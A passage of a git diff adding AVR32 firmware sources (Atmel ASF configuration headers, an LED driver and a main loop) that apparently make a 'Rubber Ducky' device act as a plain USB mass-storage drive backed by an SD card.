+// Enable on-board AT45DBX interface (SPI) +#define CONF_BOARD_AT45DBX + +// Enable on-board SD/MMC card interface (SPI) +#define CONF_BOARD_SD_MMC_SPI + +// Enable TWI interface (TWI) +#define CONF_BOARD_TWI + +// Enable UART Communication Port interface (UART) +#define CONF_BOARD_COM_PORT + +#endif // CONF_BOARD_H diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_clock.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_clock.h new file mode 100755 index 0000000..4f5c43a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_clock.h @@ -0,0 +1,61 @@ +/** + * \file + * + * \brief Chip-specific system clock manager configuration + * + * Copyright (c) 2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CONF_CLOCK_H_INCLUDED +#define CONF_CLOCK_H_INCLUDED + +// ===== System Clock Source Options +#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_OSC0 + + +// ===== PLL0 Options +#define CONFIG_PLL0_SOURCE PLL_SRC_OSC0 +#define CONFIG_PLL0_MUL 8 /* Fpll = (Fclk * PLL_mul) / PLL_div */ +#define CONFIG_PLL0_DIV 2 /* Fpll = (Fclk * PLL_mul) / PLL_div */ + +// ===== System Clock Bus Division Options +#define CONFIG_SYSCLK_CPU_DIV 1 /* Fcpu = Fsys/(2 ^ CPU_div) */ +#define CONFIG_SYSCLK_PBA_DIV 1 /* Fpba = Fsys/(2 ^ PBA_div) */ +#define CONFIG_SYSCLK_PBB_DIV 1 /* Fpbb = Fsys/(2 ^ PBB_div) */ + +// ===== USB Clock Source Options +#define CONFIG_USBCLK_SOURCE USBCLK_SRC_PLL0 +#define CONFIG_USBCLK_DIV 1 /* Fusb = Fsys/(2 ^ USB_div) */ + +#endif /* CONF_CLOCK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_sd_mmc_spi.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_sd_mmc_spi.h new file mode 100755 index 0000000..c9caf97 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_sd_mmc_spi.h @@ -0,0 +1,82 @@ +/***************************************************************************** + * + * \file + * + * \brief SD/MMC configuration file. + * + * This file contains the possible external configuration of the SD/MMC. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ +#ifndef _CONF_SD_MMC_SPI_H_ +#define _CONF_SD_MMC_SPI_H_ + +#include "board.h" +#include "conf_access.h" +#include "main.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error conf_sd_mmc_spi.h is #included although SD_MMC_SPI_MEM is disabled +#endif + +#include "sd_mmc_spi.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +//! SPI master speed in Hz. +#define SD_MMC_SPI_MASTER_SPEED 12000000 + +//! Number of bits in each SPI transfer. +#define SD_MMC_SPI_BITS 8 + + +#if !defined(SD_MMC_SPI) +//! Set SD_MMC_SPI, default SPI register address if this is a user board +#warning "Using a default SD_MMC_SPI define value. Edit the conf_sd_mmc_spi.h file to modify that define value according to the current board." +#if (UC3L || UC3B || UC3D) +#define SD_MMC_SPI (&AVR32_SPI) +#else +#define SD_MMC_SPI (&AVR32_SPI0) +#endif +#endif + +#if !defined(SD_MMC_SPI_NPCS) +//! Set SD_MMC_SPI_NPCS, default chip select if this is a user board +#warning "Using a default SD_MMC_SPI_NPCS define value. Edit the conf_sd_mmc_spi.h file to modify that define value according to the current board." +#define SD_MMC_SPI_NPCS 0 +#endif + +#endif // _CONF_SD_MMC_SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_sleepmgr.h new file mode 100755 index 0000000..4ab700a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_sleepmgr.h @@ -0,0 +1,46 @@ +/** + * \file + * + * \brief Chip-specific sleep manager configuration + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CONF_SLEEPMGR_H +#define CONF_SLEEPMGR_H + +// Sleep manager options +#define CONFIG_SLEEPMGR_ENABLE + +#endif /* CONF_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_usb.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_usb.h new file mode 100755 index 0000000..eecb37e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_usb.h @@ -0,0 +1,63 @@ +#ifndef _CONF_USB_H_ +#define _CONF_USB_H_ + +#include "compiler.h" +#include "main.h" + +#define USB_DEVICE_VENDOR_ID USB_VID_ATMEL +#define USB_DEVICE_PRODUCT_ID USB_PID_ATMEL_AVR_MSC +#define USB_DEVICE_MAJOR_VERSION 1 +#define USB_DEVICE_MINOR_VERSION 0 +#define USB_DEVICE_POWER 100 // Consumption on Vbus line (mA) +#define USB_DEVICE_ATTR \ + (USB_CONFIG_ATTR_BUS_POWERED) +// (USB_CONFIG_ATTR_SELF_POWERED) +// (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_SELF_POWERED) +// (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_BUS_POWERED) + +#define USB_DEVICE_MANUFACTURE_NAME "AVR32 Ducky" +#define USB_DEVICE_PRODUCT_NAME "Ducky Mass Storage" +#define USB_DEVICE_SERIAL_NAME "123123123123" // Disk SN for MSC + + +#if (UC3A3||UC3A4) + #define USB_DEVICE_HS_SUPPORT +#endif + + + +#define UDC_VBUS_EVENT(b_vbus_high) main_vbus_action(b_vbus_high) +#define UDC_SOF_EVENT() main_sof_action() +#define UDC_SUSPEND_EVENT() main_suspend_action() +#define UDC_RESUME_EVENT() main_resume_action() + +// #define UDC_REMOTEWAKEUP_ENABLE() user_callback_remotewakeup_enable() +// #define UDC_REMOTEWAKEUP_DISABLE() user_callback_remotewakeup_disable() +// #define UDC_GET_EXTRA_STRING() + +#define UDI_MSC_GLOBAL_VENDOR_ID \ + 'A', 'T', 'M', 'E', 'L', ' ', ' ', ' ' +#define UDI_MSC_GLOBAL_PRODUCT_VERSION \ + '1', '.', '0', '0' + +#define UDI_MSC_ENABLE_EXT() main_msc_enable() +#define UDI_MSC_DISABLE_EXT() main_msc_disable() + +#define USB_DEVICE_EP_CTRL_SIZE 64 + +//! Endpoint numbers used by MSC interface +#define UDI_MSC_EP_IN (1 | USB_EP_DIR_IN) +#define UDI_MSC_EP_OUT (2 | USB_EP_DIR_OUT) + +//! Interface number is 0 because it is the unique interface +#define UDI_MSC_IFACE_NUMBER 0 + +/** + * \name UDD Configuration + */ +//@{ +//! 2 endpoints used by MSC interface +#define USB_DEVICE_MAX_EP 2 +//@} + +#endif // _CONF_USB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/led.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/led.c new file mode 100755 index 0000000..e9ccaf5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/led.c @@ -0,0 +1,302 @@ +/* + * led.c + * + * Created: 26/04/2012 14:42:06 + * Author: Andy + */ +#include +#include "preprocessor.h" +#include "compiler.h" +#include "evk1101.h" +#include "led.h" + + +//! Structure describing LED hardware connections. +typedef const struct +{ + struct + { + U32 PORT; //!< LED GPIO port. + U32 PIN_MASK; //!< Bit-mask of LED pin in GPIO port. + } GPIO; //!< LED GPIO descriptor. + struct + { + S32 CHANNEL; //!< LED PWM channel (< 0 if N/A). + S32 FUNCTION; //!< LED pin PWM function (< 0 if N/A). + } PWM; //!< LED PWM descriptor. +} tLED_DESCRIPTOR; + + +//! Hardware descriptors of all LEDs. +static tLED_DESCRIPTOR LED_DESCRIPTOR[LED_COUNT] = +{ +#define INSERT_LED_DESCRIPTOR(LED_NO, unused) \ + { \ + {LED##LED_NO##_GPIO / 32, 1 << (LED##LED_NO##_GPIO % 32)},\ + {LED##LED_NO##_PWM, LED##LED_NO##_PWM_FUNCTION } \ + }, + MREPEAT(LED_COUNT, INSERT_LED_DESCRIPTOR, ~) +#undef INSERT_LED_DESCRIPTOR +}; + + +//! Saved state of all LEDs. +static volatile U32 LED_State = (1 << LED_COUNT) - 1; + + +U32 LED_Read_Display(void) +{ + return LED_State; +} + + +void LED_Display(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor; + volatile avr32_gpio_port_t *led_gpio_port; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + LED_State = leds; + + // For all LEDs... + for (led_descriptor = &LED_DESCRIPTOR[0]; + led_descriptor < LED_DESCRIPTOR + LED_COUNT; + led_descriptor++) + { + // Set the LED to the requested state. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + } +} + + +U32 LED_Read_Display_Mask(U32 mask) +{ + return Rd_bits(LED_State, mask); +} + + +void LED_Display_Mask(U32 mask, U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + mask &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Wr_bits(LED_State, mask, leds); + + // While there are specified LEDs left to manage... + while (mask) + { + // Select the next specified LED and set it to the requested state. + led_shift = 1 + ctz(mask); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + leds >>= led_shift - 1; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + mask >>= led_shift; + } +} + + +bool LED_Test(U32 leds) +{ + return Tst_bits(LED_State, leds); +} + + +void LED_Off(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it off. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_On(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it on. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_Toggle(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Tgl_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and toggle it. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrt = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +U32 LED_Read_Display_Field(U32 field) +{ + return Rd_bitfield(LED_State, field); +} + + +void LED_Display_Field(U32 field, U32 leds) +{ + // Move the bit-field to the appropriate position for the bit-mask. + LED_Display_Mask(field, leds << ctz(field)); +} + + +U8 LED_Get_Intensity(U32 led) +{ + tLED_DESCRIPTOR *led_descriptor; + + // Check that the argument value is valid. + led = ctz(led); + led_descriptor = &LED_DESCRIPTOR[led]; + if (led >= LED_COUNT || led_descriptor->PWM.CHANNEL < 0) return 0; + + // Return the duty cycle value if the LED PWM channel is enabled, else 0. + return (AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL)) ? + AVR32_PWM.channel[led_descriptor->PWM.CHANNEL].cdty : 0; +} + + +void LED_Set_Intensity(U32 leds, U8 intensity) +{ + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_pwm_channel_t *led_pwm_channel; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // For each specified LED... + for (leds &= (1 << LED_COUNT) - 1; leds; leds >>= led_shift) + { + // Select the next specified LED and check that it has a PWM channel. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + if (led_descriptor->PWM.CHANNEL < 0) continue; + + // Initialize or update the LED PWM channel. + led_pwm_channel = &AVR32_PWM.channel[led_descriptor->PWM.CHANNEL]; + if (!(AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL))) + { + led_pwm_channel->cmr = (AVR32_PWM_CPRE_MCK << AVR32_PWM_CPRE_OFFSET) & + ~(AVR32_PWM_CALG_MASK | + AVR32_PWM_CPOL_MASK | + AVR32_PWM_CPD_MASK); + led_pwm_channel->cprd = 0x000000FF; + led_pwm_channel->cdty = intensity; + AVR32_PWM.ena = 1 << led_descriptor->PWM.CHANNEL; + } + else + { + AVR32_PWM.isr; + while (!(AVR32_PWM.isr & (1 << led_descriptor->PWM.CHANNEL))); + led_pwm_channel->cupd = intensity; + } + + // Switch the LED pin to its PWM function. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (led_descriptor->PWM.FUNCTION & 0x1) + { + led_gpio_port->pmr0s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr0c = led_descriptor->GPIO.PIN_MASK; + } + if (led_descriptor->PWM.FUNCTION & 0x2) + { + led_gpio_port->pmr1s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr1c = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->gperc = led_descriptor->GPIO.PIN_MASK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/led.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/led.h new file mode 100755 index 0000000..952c8da --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/led.h @@ -0,0 +1,182 @@ +/***************************************************************************** + * + * \file + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _LED_H_ +#define _LED_H_ + +#include "compiler.h" + + +/*! \name Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED0 0x01 +#define LED1 0x02 +#define LED2 0x04 +#define LED3 0x08 +//! @} + + +/*! \brief Gets the last state of all LEDs set through the LED API. + * + * \return State of all LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display(void); + +/*! \brief Sets the state of all LEDs. + * + * \param leds New state of all LEDs (1 bit per LED). + * + * \note The pins of all LEDs are set to GPIO output mode. + */ +extern void LED_Display(U32 leds); + +/*! \brief Gets the last state of the specified LEDs set through the LED API. + * + * \param mask LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Mask(U32 mask); + +/*! \brief Sets the state of the specified LEDs. + * + * \param mask LEDs of which to set the state (1 bit per LED). + * + * \param leds New state of the specified LEDs (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Mask(U32 mask, U32 leds); + +/*! \brief Tests the last state of the specified LEDs set through the LED API. + * + * \param leds LEDs of which to test the state (1 bit per LED). + * + * \return \c true if at least one of the specified LEDs has a state on, else + * \c false. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern bool LED_Test(U32 leds); + +/*! \brief Turns off the specified LEDs. + * + * \param leds LEDs to turn off (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Off(U32 leds); + +/*! \brief Turns on the specified LEDs. + * + * \param leds LEDs to turn on (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_On(U32 leds); + +/*! \brief Toggles the specified LEDs. + * + * \param leds LEDs to toggle (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Toggle(U32 leds); + +/*! \brief Gets as a bit-field the last state of the specified LEDs set through + * the LED API. + * + * \param field LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED, beginning with the first + * specified LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Field(U32 field); + +/*! \brief Sets as a bit-field the state of the specified LEDs. + * + * \param field LEDs of which to set the state (1 bit per LED). + * \param leds New state of the specified LEDs (1 bit per LED, beginning with + * the first specified LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Field(U32 field, U32 leds); + +/*! \brief Gets the intensity of the specified LED. + * + * \param led LED of which to get the intensity (1 bit per LED; only the least + * significant set bit is used). + * + * \return Intensity of the specified LED (0x00 to 0xFF). + * + * \warning The PWM channel of the specified LED is supposed to be used only by + * this module. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U8 LED_Get_Intensity(U32 led); + +/*! \brief Sets the intensity of the specified LEDs. + * + * \param leds LEDs of which to set the intensity (1 bit per LED). + * \param intensity New intensity of the specified LEDs (0x00 to 0xFF). + * + * \warning The PWM channels of the specified LEDs are supposed to be used only + * by this module. + * + * \note The pins of the specified LEDs are set to PWM output mode. + */ +extern void LED_Set_Intensity(U32 leds, U8 intensity); + + +#endif // _LED_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/main.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/main.c new file mode 100755 index 0000000..14215d2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/main.c @@ -0,0 +1,145 @@ +//_____ M A I N ___________________________________________________________ +// +// Module : Ducky Mass Storage +// Description : Simple USB (MMC/SDCARD) Mass Storage Device +// Date : June 7, 2012 +// Author : Snake +// Credit : ATMEL +//__________________________________________________________________________ + +#include + +#include "compiler.h" + #include "preprocessor.h" + #include "board.h" + #include "gpio.h" + #include "sysclk.h" + #include "sleepmgr.h" + #include "conf_usb.h" + #include "conf_sd_mmc_spi.h" + #include "udd.h" + #include "udc.h" + #include "udi_msc.h" + #include "ui.h" + +#include "usb_protocol.h" +#include "usb_protocol_msc.h" +#include "spc_protocol.h" +#include "sbc_protocol.h" +#include "ctrl_access.h" + + static bool main_b_msc_enable = false; + + int main(void) + { + irq_initialize_vectors(); + cpu_irq_enable(); + + // Initialize the sleep manager + sleepmgr_init(); + sysclk_init(); + board_init(); + + memories_initialization(FOSC0); + //sd_mmc_resources_init(FOSC0); + + // Start USB stack to authorize VBus monitoring + udc_start(); + + if (!udc_include_vbus_monitoring()) { + // VBUS monitoring is not available on this product + // thereby VBUS has to be considered as present + main_vbus_action(true); + } + + // The main loop manages only the power mode + // because the USB management is done by interrupt + while (true) { + + if (main_b_msc_enable) { + if (!udi_msc_process_trans()) { + sleepmgr_enter_sleep(); + } + }else{ + sleepmgr_enter_sleep(); + } + } + } + + void main_vbus_action(bool b_high) + { + if (b_high) { + // Attach USB Device + udc_attach(); + } else { + // VBUS not present + udc_detach(); + } + } + + void main_suspend_action(void) + { + + } + + void main_resume_action(void) + { + } + + void main_sof_action(void) + { + if (!main_b_msc_enable) + return; + ui_process(udd_get_frame_number()); + } + + + void main_remotewakeup_enable(void) + { + + } + + void main_remotewakeup_disable(void){ + + } + + bool main_msc_enable(){ + main_b_msc_enable = true; + return true; + } + + void main_msc_disable(){ + + } + + void memories_initialization(long pba_hz) + { + #if (defined SD_MMC_SPI_MEM) && (SD_MMC_SPI_MEM == ENABLE) + // SPI options. + spi_options_t spiOptions = { + .reg = SD_MMC_SPI_NPCS, + .baudrate = SD_MMC_SPI_MASTER_SPEED, // Defined in conf_sd_mmc_spi.h. + .bits = SD_MMC_SPI_BITS, // Defined in conf_sd_mmc_spi.h. + .spck_delay = 0, + .trans_delay = 0, + .stay_act = 1, + .spi_mode = 0, + .modfdis = 1 + }; + + sysclk_enable_peripheral_clock(SD_MMC_SPI); + + // If the SPI used by the SD/MMC is not enabled. + if (!spi_is_enabled(SD_MMC_SPI)) { + // Initialize as master. + spi_initMaster(SD_MMC_SPI, &spiOptions); + // Set selection mode: variable_ps, pcs_decode, delay. + spi_selectionMode(SD_MMC_SPI, 0, 0, 0); + // Enable SPI. + spi_enable(SD_MMC_SPI); + } + + // Initialize SD/MMC with SPI PB clock. + sd_mmc_spi_init(spiOptions,pba_hz); +#endif // SD_MMC_SPI_MEM == ENABLE +} \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/main.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/main.h new file mode 100755 index 0000000..3d1253d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/main.h @@ -0,0 +1,22 @@ +#ifndef _MAIN_H_ + #define _MAIN_H_ + + bool main_msc_enable(void); + + void main_msc_disable(void); + + void main_vbus_action(bool b_high); + + void main_sof_action(void); + + void main_suspend_action(void); + + void main_resume_action(void); + + void memories_initialization(long pba_hz); + + void main_remotewakeup_enable(void); + + void main_remotewakeup_disable(void); + + #endif // _MAIN_H_ \ No newline at end of file diff --git 